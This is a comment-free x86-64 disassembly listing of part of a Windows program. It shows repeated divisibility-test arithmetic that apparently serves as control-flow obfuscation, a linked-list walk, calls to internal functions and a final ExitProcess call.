mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
jne 0x140026b32
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026a2c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026a10
jmp 0x140026b32
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
je 0x140026a96
mov eax, dword [rsp + 0x30]
add eax, 2
lea eax, [rax + rax*2]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026a83
dec eax
jmp 0x140026a85
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140026a60
jmp 0x140026b32
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026b32
mov ecx, dword [rsp + 0x30]
mov eax, 0xb21642c9
add ecx, 0xb
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], edx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026b32
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026b13
inc eax
jmp 0x140026b15
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026af0
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x140026cdf
nop
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.14001d140
mov rdx, rax
xor ecx, ecx
call fcn.14002cfc0
mov rcx, rbx
call fcn.140017e50
mov r9, rax
mov dword [rsp + 0x30], 0x45f0f2
mov r8d, dword [rsp + 0x30]
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x140026bd5
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r9d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026ba6
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140026cd2
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x140026bcc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x140026bb0
jmp 0x140026cd2
mov eax, dword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
mov ecx, dword [rsp + 0x30]
je 0x140026c46
add ecx, 2
lea eax, [r9 + 3]
imul ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
test al, 1
jne 0x140026cd2
nop word [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026c33
dec eax
jmp 0x140026c35
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test al, 1
je 0x140026c10
jmp 0x140026cd2
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
je 0x140026cd2
mov eax, dword [rsp + 0x30]
lea ecx, [r9 + 0x17]
add eax, 0xb
cdq
idiv ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x140026cd2
nop dword [rax + rax]
mov ecx, dword [rsp + 0x30]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x140026cb3
inc eax
jmp 0x140026cb5
dec eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x140026c90
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x140026b40
call fcn.140022410
sub eax, 0xa
test eax, 0xfffffffd
jne 0x140026cf3
call fcn.14002acd0
xor ecx, ecx
call fcn.14002d140
test eax, eax
je 0x140026d03
call fcn.14002d160
mov ecx, 1
call fcn.14002d140
test eax, eax
je 0x140026d16
call fcn.14002d160
call fcn.140023b10
call fcn.140023260
call fcn.140023b50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov rcx, qword [rbp + 0xa40]
xor rcx, rsp
call fcn.140052f30
lea r11, [rsp + 0xb50]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140059d54
int3